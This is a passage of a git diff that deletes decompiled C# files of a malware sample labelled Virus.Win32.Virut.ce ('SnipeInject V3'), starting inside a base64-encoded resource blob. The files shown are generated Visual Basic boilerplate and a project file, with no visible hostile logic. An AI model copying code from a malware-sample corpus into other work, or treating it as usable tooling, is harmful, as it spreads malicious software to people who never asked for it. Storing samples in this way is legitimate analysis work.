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 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/InternalXmlHelper.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/InternalXmlHelper.cs deleted file mode 100644 index 471e54eb..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/InternalXmlHelper.cs +++ /dev/null @@ -1,214 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.InternalXmlHelper -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Linq; -using System.Runtime.CompilerServices; -using System.Xml.Linq; - -namespace SnipeInject_V3.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerNonUserCode] - internal sealed class InternalXmlHelper - { - [EditorBrowsable(EditorBrowsableState.Never)] - private InternalXmlHelper() - { - } - - public static string get_Value(IEnumerable source) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return enumerator.Current.Value; - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_Value(IEnumerable source, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.Value = value; - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(IEnumerable source, XName name) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return (string) enumerator.Current.Attribute(name); - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_AttributeValue(IEnumerable source, XName name, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.SetAttributeValue(name, (object) value); - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name); - - public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns) - { - XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName); - namespaceAttribute.AddAnnotation((object) ns); - return namespaceAttribute; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static object RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - object obj) - { - switch (obj) - { - case XElement e: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e); - case IEnumerable enumerable: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable); - default: - return obj; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static IEnumerable RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - IEnumerable obj) - { - if (obj == null) - return obj; - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - return obj is IEnumerable source ? (IEnumerable) source.Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast().Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject)); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XElement RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - XElement e) - { - XAttribute nextAttribute; - if (e != null) - { - for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute) - { - nextAttribute = xattribute.NextAttribute; - if (xattribute.IsNamespaceDeclaration) - { - XNamespace xnamespace1 = xattribute.Annotation(); - string localName1 = xattribute.Name.LocalName; - if ((object) xnamespace1 != null) - { - if (inScopePrefixes != null && inScopeNs != null) - { - int num = checked (inScopePrefixes.Length - 1); - int index = 0; - while (index <= num) - { - string inScopePrefix = inScopePrefixes[index]; - XNamespace inScopeN = inScopeNs[index]; - if (localName1.Equals(inScopePrefix)) - { - if (xnamespace1 == inScopeN) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - if (attributes != null) - { - int num = checked (attributes.Count - 1); - int index = 0; - while (index <= num) - { - XAttribute attribute = attributes[index]; - string localName2 = attribute.Name.LocalName; - XNamespace xnamespace2 = attribute.Annotation(); - if ((object) xnamespace2 != null && localName1.Equals(localName2)) - { - if (xnamespace1 == xnamespace2) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - xattribute.Remove(); - attributes.Add(xattribute); - } - } - } - } - } - } - return e; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyApplication.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyApplication.cs deleted file mode 100644 index d76c9bcd..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyApplication.cs +++ /dev/null @@ -1,86 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.MyApplication -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace SnipeInject_V3.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (MyApplication.__ENCList) - { - if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (MyApplication.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (MyApplication.__ENCList[index2].IsAlive) - { - if (index2 != index1) - MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1)); - MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count; - } - MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - MyApplication.__ENCAddToList((object) this); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyComputer.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyComputer.cs deleted file mode 100644 index c2e80cfd..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.MyComputer -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace SnipeInject_V3.My -{ - [GeneratedCode("MyTemplate", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyProject.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyProject.cs deleted file mode 100644 index f9fac2ad..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.MyProject -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace SnipeInject_V3.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "10.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettings.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettings.cs deleted file mode 100644 index 6c170de4..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettings.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.MySettings -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace SnipeInject_V3.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - bool lockTaken = false; - try - { - Monitor.Enter(handlerLockObject, ref lockTaken); - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - if (lockTaken) - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettingsProperty.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettingsProperty.cs deleted file mode 100644 index 29c9e51e..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.MySettingsProperty -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace SnipeInject_V3.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/Resources/Resources.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/Resources/Resources.cs deleted file mode 100644 index 91be2326..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SnipeInject_V3.My.Resources.Resources -// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace SnipeInject_V3.My.Resources -{ - [DebuggerNonUserCode] - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [CompilerGenerated] - [StandardModule] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) SnipeInject_V3.My.Resources.Resources.resourceMan, (object) null)) - SnipeInject_V3.My.Resources.Resources.resourceMan = new ResourceManager("SnipeInject_V3.Resources", typeof (SnipeInject_V3.My.Resources.Resources).Assembly); - return SnipeInject_V3.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => SnipeInject_V3.My.Resources.Resources.resourceCulture; - set => SnipeInject_V3.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Resources.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index 4175a81b..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,59 +0,0 @@ - - - - - Debug - AnyCPU - {84D461DF-952D-468F-B553-3781AC011CF1} - WinExe - SnipeInject V3 - v4.0 - Client - 1.0.0.0 - 512 - SnipeInject_V3 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.sln deleted file mode 100644 index 6de61c03..00000000 --- 